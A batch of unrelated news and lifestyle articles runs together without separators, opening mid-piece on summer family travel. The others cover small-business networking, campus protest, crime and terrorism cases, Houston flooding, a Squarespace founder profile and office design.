So what's a travel-loving family to do this summer? Obviously, it's a very personal decision. If you've been planning that trip to Costa Rica or to the Olympics for a year or more, if you are pregnant or trying to become pregnant, you might want to rethink that. Otherwise, you'll want to be very careful about using insect repellent and covering up.

Not everyone is staying home, of course. Cruise lines report business is as good as ever, even in Europe and especially in Alaska where you can take your pick of a major cruise line. (All-inclusive Crystal Cruisestouts kids-sail-free deals while smaller more expedition-like trips attract wilderness-loving families to Un-Cruise Adventures, which also offers trips around the Hawaiian Islands.)

If you've got your heart set on Europe, perhaps to celebrate a special birthday or graduation, consider smaller, less crowded touristy sites. Take a family-friendly river cruise. (Kids are half-price on Uniworld and free on some sailings. Here's what I wrote about one of their kid-friendly trips in Germany.) Go hiking in the Alps, perhaps staying in rustic mountain chalets or huts. Tirol, Austria, offers lots of opportunity and spectacular scenery. U.S.-based tour operatorAlpenwild arranges many hiking and walking tours in the Alps for families. Sign on for a family bike tour with Backroads.com. (You can put your own group together!)

But perhaps this is going to be the summer when we return to the glory days of the Great American Road Trip, suggests Brigham Young University historian Susan Sessions Rugh, who literally wrote the book on the subject -- "Are We There Yet? The Golden Age ofAmerican Family Vacations." There is even a new much- publicized TV series Detour about a family's road trip misadventures.

That Golden Age started right after World War II and ended with the gas crisis in the '70s, Dr. Rugh said. "A lot of baby boomers grew up sitting in the back seat and people today talk about wanting to give their children that same experience," whether you want to exploreNew England, the Badlands, or drive to a lake cabin like we did so happily in Minnesota, staying at Ludlows Island Resort, run by the third generation of the same family. Maybe this is the year, now that gas prices are low. Just don't expect it to all be smooth sailing.

Here are six other options:

-- Rent an RV for your road trip -- you can get one equipped with sheets, dishes, pots and pans. Either way, your kids will enjoy the camaraderie at a campground, making fast friends -- as will you. (Rentals start at $80 a night, plus campground fee.)

-- Teach the grandkids (as young as five) a thing or two with a Road Scholar intergenerational adventure. You can search for dinosaur fossils in Utah, explore California's High Sierra, go to "camp" in the Adirondacks or explore Revolutionary History in Boston. There are dozens of trips to choose from, many less than $1,000 for nearly a week.

-- Calling all fourth-graders and their families. Not only are they free this school year at national parks, but fourth-graders are free on Austin Adventures luxury family vacations. You can explore Yellowstone, the Black Hills, Utah Bryce and Zion Canyon, among other places, with other families and, I can tell you from personal experience, guides make the experience stress-free for parents and grandparents.

-- Opt for a campground. If getting all the gear and sleeping on the ground in a tent isn't your idea of a vacation, consider that many campgrounds have cabins with everything you need. KOA Campgrounds have more than 4,000 camping cabins, some downright luxurious, that sleep six and start at just $120 a night across North America.

-- See your dollar stretch in Canada where a U.S. dollar is worth$1.29 in Canadian currency. You'll feel like you are in Europe in Quebec City -- the only walled city north of Mexico. Practice your rusty French and shop and eat till you drop in Montreal where you have your pick of museums, festivals (check out the Just for Laughs Festival) and outdoor fun. I'm a fan of British Columbia, which offers so many options to hike, kayak, fish, bike ride, see wildlife and more. Stay at a guest ranch or a nice hotel in Whistler where, given the strength of the U.S. dollar, you are guaranteed a bargain.

-- Summer is a great time to hit a snow resort. You'll find great deals on lodging and as much, if not more, to do in the mountains as in winter. This June, in partnership with the Nature Conservancy and the U.S. Forest Service, Epic Discovery is launching in Vail Mountain,Colorado, and Heavenly Mountain Resort in Lake Tahoe, California, a first-of-its-kind on-mountain summer adventure with everything from zip lines to wildlife trail explorations and "learn-through-play" activities.

Feeling better now?
I believe it was Seth Godin who, a few years ago, coined the term connection economy. The idea is that value is generated by making connections, rather than pumping widgets out of the tail end of an assembly line.

I might put a little sharper focus on this and say that for almost every small-business owner, the potential for value is created by making or strengthening connections. Mammoth social media platforms like Facebook do, in fact, derive much their value by the sheer number of creations they create. Ill point out that these enterprises achieve billion dollar valuations before they do anything with their connections to actually make money.

But, in any case, the value of connections in this connection economy is indisputable. The question, then, is whether or not you are participating in and benefiting from the connection economy. Lets look at tangible ways you can take advantage of the connection economy today.

Related: Marketing Wizard Seth Godin on Success and Inspiration

1. Social media.

For many -- if not all -- small businesses, connecting with customers, prospects, suppliers, and others via social media can deliver tremendous value. Note that even via this short list of connections, Im suggesting how you can segment your social media contacts.

To use social media in the connection economy, you need to understand who you are trying to reach and what your goal is when you reach them. In other words, it wouldnt make any sense to consider established customers and brand new prospects in the same way. Further, you might establish social media relationships with suppliers as a way to improve your competiveness; suppliers may, for example, use their social media channels as pipelines for insider tips and other useful industry information.

Taking this a bit further, Alignable is one social media platform whose purpose it is to create and enhance relationships between businesses. Connecting with similar small businesses can be extremely helpful, for example, when youre trying to determine which cloud services would best suit your business.

Related: How Your Small Business Can Use Social Media to Boost Sales

2. Review sites.

When youre using your social media accounts, youre broadcasting information about your small business and trying to spur peoples interest. When customers say something about you on a review site -- or their own social media accounts -- they are taking over the microphone. You need to recognize these instances as opportunities to create connections.

I often scan the hotel reviews on the travel sites. I always notice the hotel owners who respond to criticism and those who ignore it. These kinds of sites are a major component in the connection economy -- dont let the connection drop.

An important attribute of the connection economy is to recognize that its not just about your direct connections, its also about the onlookers and others who will hear things via word of mouth. Take advantage of the review sites and even create strategies that will tend to point your customers toward posting reviews.

Related: How Online Customer Reviews Help SEO and Drive Sales Growth

3. Forums.

Forums are probably the most overlooked avenue for engaging prospects in the connection economy. Some successful small businesses have started because their owners first established themselves as experts on the forums. However, the point I want to stress here is that you should engage on as many good forums as there are that relate to your business, and your posts should be very helpful and knowledgeable.

Carve out a little time each week to browse relevant forums and look for posts that pose questions or discuss problems. The connections you make can be very valuable in the long run.

4. Local community.

Old-fashioned local networking should not be overlooked in this age of high-tech, web-based connections. For many small business owners, their local connections are by far their most important.

Have you noticed that all the highly successful local business leaders are heavily involved in community business groups along with other local events and organizations? Do you think this is merely coincidence? Do you think they had achieved their level of success before they got involved with the community?

I dont think so. Many newcomers start out as unknowns, but by working with community groups they make names for themselves as both knowledgeable and trustworthy. Establishing yourself in your local community will pay big dividends over the years. These are investments youll make more with your time than with your money.

5. Employees, family and friends.

Connecting with all the individuals in your business and personal lives is extremely important. First of all, your family and close friends should be among the biggest boosters for your small business. This means that you should be certain they understand what you do and have even experienced it themselves.

They should be shopping at your store or using the service you provide whenever possible. Then, when they know people who need what you provide, youll get a recommendation.

This is extremely important with your employees. You need to develop these connections so well that they go beyond mere employees and become brand advocates who are ready to put in a good word for your small business even when theyre off the clock. This means you must treat your employees well, give them opportunities to advacnce and have input regarding the direction of your business: If you dont listen to your employees, you cant expect them to speak up for you.

Related: Why Leaders Lean on Friends and Family

Ive touched on several dimensions of the connection economy. Please note that how you handle each of these can have either a positive or negative impact (increase or decrease value) on your small business. For example, ignoring bad reviews or posting salesy comments on forums can drive customers away from your business. Your job is to engage in all of these places and use all of these strategies in positive ways that add to your stature and the amount of business you generate.
Clemson University students say they are ending their sit-in protest over a lack of diversity on campus.

The protesters left Sikes Hall, Clemson's administrative building, Thursday afternoon after an eight-day demonstration prompted by a bunch of rotting bananas placed on an African-American history sign.

Protesting students say Clemson does not do enough to promote diversity.

Clemson President Jim Clements issued a statement promising to release specific goals on getting more minorities enrolled at Clemson by the end of the summer. Clements also promised to find a temporary and later a permanent home for a multicultural center.

About 6 percent of Clemson students are black, the lowest of any of South Carolina's four-year public colleges.
Montana U.S. Attorney Mike Cotter said on Friday the government will not seek the death penalty against a Wyoming teenager accused of murdering a couple on the Crow Reservation last year.

In a news release, Cotter said the government remains committed to ensuring that the defendant, Jesus Yeizon Deniz Mendoza, 18, of Worland, Wyo., is held accountable for his alleged role in various crimes that occurred on July 29, 2015, near Pryor.

Mendoza faces 12 criminal charges, including two counts of first-degree murder, carjacking, attempted murder and multiple assault and firearms charges.

He pleaded not guilty in August. If convicted, he faces a maximum of life in prison.

A jury trial is set for Sept. 6.

Mendoza is accused of shooting and killing Jason and Tana Shane and wounding their daughter after the family stopped to help him along a road near Pryor.

Prosecutors had until July 1 to say whether they intended to seek the death penalty if Mendoza is convicted.

Montana Federal Defender Tony Gallagher, one of Mendoza's attorneys, on Friday called the prosecution's decision "a very, very positive development in Jesus' case."

The defense still challenges the prosecution's evidence, and Mendoza maintains his not guilty plea, Gallagher said.

Cotter said the final decision not to seek the death penalty was made by Attorney General Loretta Lynch after an extensive review process by the Attorney General's Review Committee on Capital Cases.

For 20 years, the U.S. Department of Justice has relied on a protocol, or process of review and recommendation, that is followed in every case where a defendant's offense carries a potential death penalty, Cotter said.

The review is to identify "those especially aggravated cases for which a sentence of death is appropriate and to apply the capital sentencing laws consistently and evenhandly within that group of cases," Cotter said.

In deciding whether to seek the death penalty in a particular case, the attorney general considers the recommendation of the U.S. attorney, the review committee and others within the Justice Department, Cotter said. And under long-standing policy, those internal recommendations are confidential, he added.

Earlier in April, U.S. District Judge Susan Watters of Billings denied a prosecution request to conduct a competency exam on Mendoza. The order was sealed, leaving the rationale for the judge's decision unknown.

Prosecutors wanted the exam to determine if Mendoza was fit to stand trial.

Mendoza's attorneys opposed the exam but reserved the right to ask for an exam in the future and have said their client suffers from significant mental illness.

Despite that illness, defense attorneys also have said in court filings that there has been no indication Mendoza is unable to understand the charges against him or to assist in his own defense, which are two of the primary standards for competency.
Authorities arrested a man Thursday at the location where a young womans body was found inside an abandoned car near Floridas Space Coast on Tuesday, WKMG reported.

Officers from the Palm Bay Police Department were interviewing neighbors in the area after the body was found, when they took the man into custody. There was no immediate word on charges against the man, or his connection to the ongoing investigation.

On Tuesday, the battered body of Jillian Christine Kusznir, 22, was found in the trunk of the abandoned vehicle, just off Interstate 95. A business owner alerted authorities about a suspicious car parked in a lot around 7 a.m.

Police later found the cars trunk ajar with Kusznirs body inside. Kusznirs mother owned the vehicle, police said.

Authorities told the station Kusznir had suffered noticeable trauma before her body was discovered. Her last known address was not far away from the site of the discovery.

Our detectives have been working this case nonstop. We will not stop until we give Jillian and her family the justice that she deserves, Palm Bay Police Commander John Resh told the station.

Surveillance footage showed a man walking away from the vehicle Monday evening. No information was immediately available to determine whether the man taken into custody Thursday resembled the man in the video.

Kusznir was a witness to the shooting deaths of two of her friends inside another mans home in 2013, MyFoxOrlando reported. She told detectives at the time she had purchased marijuana from the homeowner, Stephen Wright, who got involved in an argument with her friends. Wright later shot and killed both men. The incident was ruled a justifiable homicide, and no charges were filed. Kusznir also had previous charges relating to theft.
Two men from the Boston area already being held on charges of conspiracy to provide material support to ISIS faced new charges Thursday that they conspired to commit acts of terrorism, federal authorities said in a statement.

Nicholas Rovinski of Warwick, R.I., and David Daoud Wright, of Everett, Mass., were charged with conspiracy to commit acts of terrorism transcending national boundaries, relating to allegations they were targeting a blogger based in New York, U.S. Attorney Carmen Ortiz and other federal authorities said in the joint statement.

They pleaded not guilty in 2015 to conspiring to provide material support to a terrorist organization. Lawyers representing them did not immediately return messages from the Associated Press seeking comment on the new charges.

Prosecutors allege the two plotted with Wright's uncle, Usaamah Rahim, to behead a conservative blogger known for provoking Muslims. The plot was not carried out.

As early as February 2015, Wright began discussing with Rovinski and Rahim ISISs call to kill non-believers in the United States, according to the federal indictment. The document alleged they later began plotting and recruiting for a martyrdom operation cell. They also conducted internet searches that included information about firearms and tranquilizer effectiveness on humans.

The indictment said Islamic State recruiter Junaid Hussain communicated instructions about the plot directly to Rahim. Their main intended victim lived in New York, the document said.

Hussain was killed in a drone strike. Rahim was killed by investigators.

Fox News' Matthew Dean and the Associated Press contributed to this report.
U.S. Central Command said Friday that airstrikes in Iraq and Syria in the fight against the Islamic State led to the deaths of 20 civilians and about a dozen injuries on the ground in recent months.

The statistics were released after the command conducted several civilian casualty assessments. It is believed that the civilians died as a result of nine separate airstrikes between Sept. 10, 2015 and Feb. 2, 2016. All were determined to have been the unintended result of attacks on legitimate targets.

There are going to be civilian casualties, Col. Patrick Ryder, a spokesman from the U.S. Central Command, said. There are risks associated with these strikes.

Six of the strikes were in Iraq and three were in Syria. Armed drones were involved in some cases; manned aircraft in others.

The U.S. has spent about $7 billion in the fight against ISIS, which amounts to about $11.6 million for the 602 days of operations.

Since the start of U.S. airstrikes in 2014, the U.S. has acknowledged a total of 41 civilian deaths in Iraq and Syria, including those announced Friday.

The most deadly of the nine investigated airstrikes, in terms of civilian casualties, was an Oct. 5, 2015 attack on an ISIS mortar position in Atshanah, Iraq. Central Command said eight civilians were killed; it did not elaborate on the circumstances.

On Dec. 12, 2015, a strike on a suspected ISIS checkpoint in Ramadi killed five civilians. Central Command said they "unexpectedly moved into the target locations after weapons were already in flight.

In the 6-month period between September and February, "the U.S. conducted 2563 airstrikes. We take all reasonable measures during the planning and execution of airstrikes in an effort to mitigate risks to non-combatants, and to comply with the Law of Armed Conflict," CENTCOM Cpt. Michael Meyer said.

Fox News' Lucas Tomlinson and The Associated Press contributed to this report.
An autopsy is scheduled for Prince after he was found dead at his studio compound in suburban Minneapolis.

The Midwest Medical Examiners Office in Ramsey, Minnesota, tweeted that it will perform the autopsy Friday. Officials haven't released a cause of death.

Authorities said deputies who were summoned to a medical emergency Thursday found Prince in an elevator, unresponsive. They say CPR failed.

Prince's death at age 57 sparked an outpouring of grief from fans, with hundreds gathering outside his studio and in downtown Minneapolis and many more posting remembrances on social networks. Buildings around the country were lit up Thursday night in his signature purple.
Authorities said Thursday they searched the home of one of the fugitive brothers suspected in the presumed killings of a Washington state couple.

Patrick Shunn, 45, and his wife, Monique Patenaude, 46, of Arlington, were reported missing a week ago. Tony Reed, 49, and his brother John Reed, 53, have been charged with murder, though no bodies have been found.

Detectives conducted searches Wednesday at the Ellensburg homes of Tony Reed and his parents, the Snohomish County Sheriffs Office said in a statement.

The statement issued Thursday said two storage units were also searched.

Detectives are following up on investigative leads, as well as evidence found at several locations, including the former property of John Reed, the home of the victims, the vehicles of the victims, and the vehicles of the suspects, the Sheriffs Office said.

John Reed signed the title of his pickup over to his mother after the couple was reported missing and then took his parents car from Ellensburg to Arizona, where it was located this week, the Seattle Times reported.

Detectives believe the brothers obtained another car in Arizona, a gold Acura sedan, from friends who knew they were on the run from police.

A license plate reader captured the Acuras plate near the California border town of Calexico on Monday, authorities said.

A $5,000 reward has been posted for information leading to the arrest of either brother, Q13 Fox reported late Thursday.

Detectives believe the motive for the killings was a property dispute between John Reed and Shunn and his wife.

The Associated Press contributed to this report.

Click here for more from Q13 Fox.
The deaths of eight drivers whose bodies were pulled from vehicles inundated by this week's torrential rains in the Houston area have prompted local leaders to push for improvements in how they warn people about the dangers of flooded roads.

Houston and nearby counties have been hit with more than a foot of rain since Sunday night. Six of thedriver deaths occurred in the city or suburbs of Houston, while two happened in surrounding counties. Three of the deaths were at the same Houston underpass.

The flooding also has forced thousands of people from their homes as creeks and bayous became overwhelmed.

"There's no question that not enough has been done" to warn drivers, Harris County Judge Ed Emmett said Thursday. Emmett is leading an effort to ensure drivers are properly notified about flooded roads during heavy storms.

The deaths at the Houston underpass prompted Emmett to take action. While one woman drove around a barricade at one side of the underpass, Emmett said no barricades were placed on a different part of the underpass and two drivers unknowingly sent their vehicles into dark floodwaters.

"If it's somebody who drives around a barricade and goes into the water, that's problematic. I don't know if any system can stop somebody like that," he said. "But the other two deaths were completely preventable."

Others have drowned in the same location, he said, most recently last May when heavy rains also floodedHouston.

He said in the short term, he will speak with the Harris County Sheriff's Office and the offices of local constables to make sure deputies and other officers are stationed at underpasses and other flooded locations.

In the long term, Emmett said he'll work with officials from the city and state to determine what other solutions  possibly some type of barrier  are needed at the underpass where the deaths occurred and other places prone to flooding.

Texas Department of Transportation spokeswoman Raquelle Lewis said her agency is committed to working with city and county officials to find solutions to the problem.

"There is always going to be the potential that people will make decisions that are not necessarily in their best interests or life-preserving," Lewis said. "What we will do is to look at what can we feasibly do to minimize the potential for those instances."

Before this week's flooding, the city of Houston had already begun installing an early warning system at 27 locations where high water sensors and flashing lights are used to let drivers know that a road in front of them is flooded. The city has put the sensors and lights in place at 19 locations so far.

The system had also included wooden gates, similar to those at railroad crossings, that would have dropped down to block flooded roads. But the city decided not to install the gates after drivers drove around and crashed into the first one that had been set up. Gary Norman, executive staff analyst with the Houston Public Works and Engineering Department, said in an email that "we are constantly evaluating how best to protect and inform the public."

Skies were bright Thursday afternoon after a heavy rainstorm earlier in the day. But residents living in a subdivision near the Addicks Reservoir, one of two aging reservoirs in west Houston that the U.S. Army Corps of Engineers considered "extremely high risk," were warned of possible flooding.

The Harris County Flood Control District said the streets near the reservoir may be impassable over the next few days and reservoir water levels may remain high for days or weeks.

The U.S. Army Corps of Engineers began releasing water Thursday evening from the Addicks and Barker reservoirs into Buffalo Bayou at the rate of about 2,000 cubic feet per second, enough to lower the water level by an inch per hour, Corps spokeswoman Sandra Arnold said. The amount of water to be released will increase over the next two to three days, weather permitting, and gradually ease the surrounding streetflooding, Arnold said.

Meanwhile, officials in Wharton, a community of about 8,700 residents about 50 miles southwest of Houston, ordered residents to leave their homes in some low-lying neighborhoods along the rain-swollen Colorado River. The river's flood stage is 39 feet but the river level there exceeded 47 feet Thursday and some streets were underwater.

Mayor Domingo Montalvo Jr. expanded his order later Thursday to include about a square mile of town, affecting some 350 homes.
An email from a concerned friend of a suicidal student in Verona, Italy, mistakenly went to a police department of the same name in New Jersey, but authorities said it helped save a life.

Mitchell Stern, police chief in Verona, New Jersey, said the department received an email April 14 from a Chinese student in the United Kingdom concerned about another Chinese student at the Verona Academy of Fine Arts in Italy.

After trying to find contact information for the Italian police department of the same name and the Italian embassy, he eventually got in touch with Interpol, a network of police forces around the world. Interpol forwarded it to the state police in Italy.

The student was found with her wrists partially slit and with a half-empty bottle of antidepressants when local police arrived at her apartment, the Italian Interior Ministry said in a statement.

The student had told her friend in an online chat that she was going to harm herself, Stern said.

"It really makes you step back and think you can help to save a life half a world away," Stern said.

Stern said the 30-member Verona, New Jersey, police department occasionally gets emails looking for lost luggage or reporting thefts in Verona, Italy, but nothing at the same magnitude as last Thursday's.

Stern said he wouldn't have shared the story, but Italian authorities saw it as an opportunity to show how police work together.
A Georgia man who was thought to be missing at while kayaking off the coast was arrested in Oklahoma City Wednesday after trying to avoid criminal charges.

Cody Magee, 38, of Effingham, was presumed missing after he failed to return home from kayaking near Tybee Island on April 17. He was found in Oklahoma City Wednesday after a traffic stop, Savannah-Chatham County police spokesman Sonny Cohrs told the Savannah Morning News.

Oklahoma City police Sgt. Gary Knight said authorities found a handgun and rifle in Magees car. Magee had been indicted in Effingham County for criminal attempt to commit child molestation, possession of a firearm during the commission of a crime and child pornography, police said.

Sheriff's deputies arrested Magee last June after undercover investigators posing online as a young teenager lured him to a home, said Sgt. Don White of the Effingham County Sheriff's Office.

"He was chatting with what he thought was a 14-year-old girl," White said. "He wanted to act out some rape fantasies with her."

The Savannah Morning News reported Magees wife called police Monday morning after he failed to return home from a kayak trip in Lazaretto Creek. The U.S. Coast Guard and the Savannah-Chatham police marine patrol unit searched the waters.

Hours after his disappearance was reported, Magees kayak was found washed ashore on a beach, Cohrs said. Authorities still scoured the area for any signs of Magee, but eventually stopped before his arrest.

Cohrs said Magee staged his disappearance to avoid a court appearance in Effingham County. Police issued a bench warrant for his arrest Monday when he didnt show up for court.

White called the situation unique, but the search wasted a lot of resources.

(Incidents) like this dont happen very often, he said. Its very weird for us. Cases like this draw the attention of officers from everywhere and take the attention away from other crimes that are actually committed, and it hurts the community.

Georgia authorities were working to extradite Magee.

The Associated Press contributed to this report.

Click for more from The Savannah Morning News.
Anthony Casalena says he was dumbfounded when he was younger that kids would have chosen to play in the woods instead of using the Internet.

Come on, you either play in the woods or have the freaking Internet. Its all information in the world. Thats great!" says Casalena, who turns 34 this Sunday, in an interview with Entrepreneur over lunch. "I was almost surprised more people werent obsessed with that. How do you not take that and think about how incredible that was?

When Casalena, who grew up in northern Maryland, came of age, so did the Internet. At the turn of the millennium, the man whod go on to found Squarespace was just starting college. He wanted to build himself a home on the Internet, but in those days, the tools necessary to build a website were rudimentary and fragmented. And that was frustrating. Casalena decided to build a better solution. He created software to bring together and unify all of the disparate tools necessary to build a website under one digital roof.

I never learned programming or design because I wanted to be an entrepreneur or make a business," he says. "I did it because I wanted to make things.

In April 2003, while Casalena was still a student at the University of Maryland, he started coding the foundation of what would become Squarespace. Today, Squarespace is an online tool for building and publishing websites. It supports more than 1 million websites for businesses, entrepreneurs, creatives and individuals. Despite the companys impressive growth, in those early days, Casalena says he didnt think that he was building a business. He was fixing his own problem.

He wasnt the only one trying to build a website in 2003, however. Casalena slowly became aware that the service platform he was building for himself would be useful to other people, too. In January 2004, Casalena launched the first iteration of the tool he built as a service and Squarespace was born.

Related: How a Former Social Worker Took a Nights-and-Weekends Hobby and Turned It Into a Tech Startup

While still in college, Casalena borrowed $30,000 from his father to buy computer servers to host the Squarespace code. For the first three years, Casalena ran Squarespace alone. He wrote the code, educated and interacted with customers, and managed marketing, if buying $100 worth of Google Adwords can be called marketing.

By the time Casalena graduated from college, Squarespace was making more than $1 million in revenue. He moved to New York City, where he had the servers installed, and over the next few years, Casalena grew the business and the team to include about 30 employees. In those first few years out of college, Casalena and two other team members rewrote the code, improving the college-dorm room version and making it scaleable.

The goal of Squarespace is to empower anybody to be able to build, maintain and grow a beautiful, smartly-branded website. Prices start at $5 a month to maintain a simple cover page, an ecommerce page costs $26 a month to maintain and more complicated websites cost as much as $70 a month.

Related: Squarespace Is Going All in With a Super Bowl Ad Starring Keegan-Michael Key and Jordan Peele

Squarespace walks customers through every stage of the process from layout design to search optimization strategy, ecommerce features and post launch website analytics resources. In case the online instruction leave a customer feeling confused, however, live Squarespace support is available 24-7. To provide live support around the clock, Squarespace opened offices in Dublin, Ireland and Portland, Ore., in addition to the New York City headquarters. About two-thirds of the current employees at Squarespace are devoted to customer support.

Growth at Squarespace hasnt slowed. In 2015, revenues topped $100 million. There are 550 employees working at the private company.

The success is nice, but Casalena only celebrates milestones because he knows its good for team moral. Hes already looking at where he wants to grow further. Last year we crossed 1 million paid customers, says Casalena. Lets celebrate. Goooooood. I am supposed to do that. But there is no reason that cant be 10 million. There is no reason that cant be 20 million, 30 million.

Facing a giant

As it grows, Squarespace continues to bolster its suite of website building and hosting services. As of Friday, Squarespace is now a marketplace for domains. Internet domains are the identifying string of letters in characters in the browser bar of a website. For example,  www.entrepreneur.com is an Internet domain. The new domain service pits Squarespace directly against GoDaddy, the behemoth in the space, rather awkwardly as infamous for its Superbowl commercial lineup as it is famous for being the go-to place to buy a website domain.

GoDaddy has been around for a very long time, says Casalena in a nod to his biggest competition in this new territory. When we were launching and it was just me, they had Super Bowl ads going. So they have a big head start on us in the domain space.

Related: How These Entrepreneurs Found Success in an Industry They Knew Nothing About

Indeed. GoDaddy is market leader. Its the big box retailer of domain names. GoDaddy has faced a lack of serious competition in this space. The fact that you cant think of another place to get a domain is weird, right? says Casalena, as I rack my brain trying to think of other GoDaddy competitors.

To be sure, Squarespace isnt going to beat GoDaddy on price. Domains on Squarespace start at $20 a year. GoDaddy offers domains for as little as 99 cents.

Instead, Squarespace bets it will lure customers who have already built websites on the Squarespace platform already and are charmed by the convenience of being able to buy a domain name within the platform. Also, Squarespace charges a premium for beauty.

The Squarespace and GoDaddy homepages themselves are indicative of the differences in the brands. Squarespaces homepage features a rotating slideshow of glamour shots of artisanal grilled cheese sandwiches, haute-hipster slate gray manicured fingernails typing on a MacBook and a close up of paint being applied to a face. GoDaddys homepage, to the contrary, features utilitarian type advertising bargain basement domain prices and an orange banner bar advertising even further deep discounts.

Related: It's Harder, But You Are More Likely to Win if You Think for Yourself

We want to help you with your image as much as we just want you to be online, says Casalena. Building a product that works and looks beautiful is the baseline. The other side of design that gets lumped in with that that I actually think is very important to us is an element of fashion, which is helping people present their ideas in a way that helps them look better or makes them feel more comfortable.
A chairman of a Kentucky school board is accused of cheating on a GED test that he chose to take to prove the diploma he bought online was authentic.

According to the Associated Press Thursday, the Kentucky State Police allege that Knox County School Board Chairman Dexter Smith had another person take the exam for him.

The issue came to light last month when the Mountain Advocate reported that Nation High school, the online school listed on Smiths diploma, is a diploma mill, unaccredited and described by the Better Business Bureau as a scam.

The Federal Trade Commission and the state's Council on Postsecondary Education have also warned consumers away from online high school scams.

Nation High School boasted in advertisements that for $289 a person could apply for a diploma based on their prior life experience. The online school is said to be located in Charlotte, and as of Friday the website listed for the school on the Better Business Bureau site was down.

The Kentucky Department of Education requires that school board members, who receive a per diem of $75 and expenses for each meeting, have a high school diploma or a GED. Kentucky State Police Trooper Shane Jacobs said Smith signed a statement declaring he met the requirements when he ran for office three years ago.

Jacobs said the state police submitted its perjury investigation to prosecutors, who will decide whether to pursue charges.

Concerns over Smiths education arose amid other turmoil in the states school system. The Kentucky Office of Education Accountability found that Smith, another board member and the superintendent violated the law by meddling in the day-to-day operation of schools. Smith told the media he only did so to ensure students were getting the best possible education.

Nancy Rodriguez, a spokeswoman for the Kentucky Department of Education, told the AP the department has an open investigation into numerous allegations regarding the Knock County Schools.

Then the board, including Smith, voted last month to oust the superintendent.

The Mountain Advocate reported that citizens incensed by the votes against the superintendent questioned Smith over his educational qualifications last month. In response, he posted a picture of his Nation High School diploma on Facebook. Questions piled up about its validity and Smith said he would settle the issue by getting his GED.

Jacobs said that on March 30, Smith went to the Jackson County Adult Education Center for the GED exam. But he didn't take it.

The state police found surveillance video showing him talking with the employee, then leaving, and the employee taking the test in his name instead, Jacobs told The Mountain Advocate in an interview Thursday.

He did not know how the arrangement came to be, or if there is a connection between Smith and the employee, who he declined to identify.

Larry Bryson, the attorney for Jackson County Schools, said the district started a separate investigation and the employee, who had been with the school system for more than 30 years, opted to retire. Jacobs was unsure whether that person could face criminal charges.

A school board meeting is set for Tuesday evening.

The Associated Press contributed to this report.
Billings Catholic Schools celebrated the groundbreaking of a new K-8 school on Thursday.

Piles of dirt and construction equipment already dotted the site along Colton Avenue, where school officials talked about the projects importance to the Catholic school system.

This groundbreaking is only possible through the faith commitment and generosity of so many people, said Mike Heringer, who co-chairs the fundraising campaign for the school. The $18 million, 87,000-square-foot project is paid for through private funds.

The Catholic schools acquired the site in 1959.

Back in 59, this was way out of town, Heringer said. My point is that people had the vision, someday our facilities would wear out. Someday we would need to build a school.

Currently, elementary and middle school students are spread among three schools that struggle with capacity issues.

The new school will forever change the face of Catholic education in Billings, said campaign co-char Rita Turley, addressing students. It will provide a whole new learning environment for you.

Students were bused to the site for the groundbreaking, and the Billings Catholic Central High band played.

Catholic school system President Shawn Harrington again thanked donors to the project.

You are truly helping to shape the future of thousands of kids, he said.

Father Jay Peterson, vicar general for the Diocese of Great Falls-Billings, delivered a blessing for the project, emphasizing the importance of a foundation of faith.

The current Saint Francis Primary school on Custer Avenue has 293 students in Pre-K, kindergarten, first and second grades. Saint Francis Intermediate, on Yellowstone Avenue, has 168 students in third, fourth and fifth grades. Saint Francis Upper has 198 students in grades 6 through 8 at its downtown location.

Officials previously said they wouldnt break ground without having at least half the projects cost in hand. Turley announced that fundraising was halfway to the $18 million goal last June. She said Thursday that the school system hopes to be debt free when the school is scheduled to open in the fall 2017.

Phase one of construction involves a finished academic wing and parking area, and a shell for a gymnasium and locker room, Turley said. The plan includes space for a 25-percent enrollment growth.

Fundraising efforts are continuing.

"We acknowledge that there is still a lot of work to be done," Turley said.
A tourist accused of becoming violent because he couldn't do yoga on a planepleaded guilty Thursday to interfering with a flight crew.

As part of a plea deal, Hyongtae Pae is expected to be sentenced to time served, which was about 12 days, and to pay about $43,600 in restitution to United Airlines.

Pae was headed home to South Korea after a Hawaii vacation to celebrate his 40th wedding anniversary when his actions last month forced the pilot to turn the Tokyo-bound plane around.

According to court records, he didn't want to sit in his seat during the meal service, so he went to the back of the plane to do yoga and meditate. Authorities say he refused to return to his seat, threatened crew members and passengers and shoved his wife.

Through an interpreter, Pae told the judge in Korean he acknowledges he "caused others to become fearful" and that "it is correct that they were trying to subdue me and I resisted."

Pae tried to bite and head-butt two U.S. military members who was passengers on the flight trying to restrain him, said Assistant U.S. Attorney Darren Ching.

He hadn't been able to sleep in 11 days and felt "excited," Pae told authorities after he was arrested.

U.S. Magistrate Judge Kevin Chang previously allowed Pae to be released, but prevented him from returning home.

On Thursday, Pae's attorney, Jin Tae "JT" Kim, asked the judge to revoke the release so that Pae can return to the Honolulu Federal Detention Center. Pae has run out of money to continue staying in Honolulu and can't afford to see a doctor to refill medication, which is running out, Kim explained.

Chang denied the request and asked that Pae work with court officials to figure out an alternative to incarceration.

Sentencing is scheduled for July 28, but officials are working to expedite the hearing so that Pae can return home sooner.

Medication has improved Pae's mental state and he's well-rested, Kim said.
Its common knowledge that workspace environment influences the people who work there. Creative design, features and office space layout can give rise to great innovations and productivity -- or stifle it.

A recent report (2014) from the World Health Building Council states, There is overwhelming evidence that the design of an office [e.g. air quality, lighting, noise, look and feel] impacts the health, well-being and productivity of its occupants.

So as you ponder about your own workspace, here are six that buck tradition, embody innovation and inspire awe.

Related: How to Design Innovative Hubs for Big Ideas

1. When an office is built around the companys management style

Courtesy of Clive Wilkinson Architects | Photographer: Shannon McGrath

Company: Macquarie Group

Location: Sydney, Australia

Architect: Clive Wilkinson

Today is Earth Day, a day when green office spaces -- like the Macquarie Groups based in Sydney, Australia -- should take a bow for its leadership in use of green technology. The offices use harbor water cooling, chilled beams and zone-controlled lighting, significantly reducing energy consumption, according to Architect Magazine.

The building is not only super earth friendly, but its built to reflect the financial service companys management style, Activity-Based Working, which revolves around meetings and collaboration.

This translates into a stunning design of a 10-story atrium, which serves as a central meeting core, with meeting pods branching off it. All these pods are linked by aerial staircases, which are designed to be emblematic of the interconnectedness of Macquaries client relationships, according to the Arch Daily.

2. When a relocation and renovation brings separate offices into one unifying workspace

Courtesy of Meyer Scherer & Rockcastle | Photographer: Lara Swimmer

Company: Urban Outfitters Inc.

Location: Philadelphia, Pennsylvania

Architect: MSR Design

The brands Urban Outfitters, Anthropologie and Free People used to be spread out over six separate offices in Philadelphia, but in 2011 the company hired the firm MSR Design to convert an approximate 350,000 square-foot old navy shipyard into an office that could house the three brands.

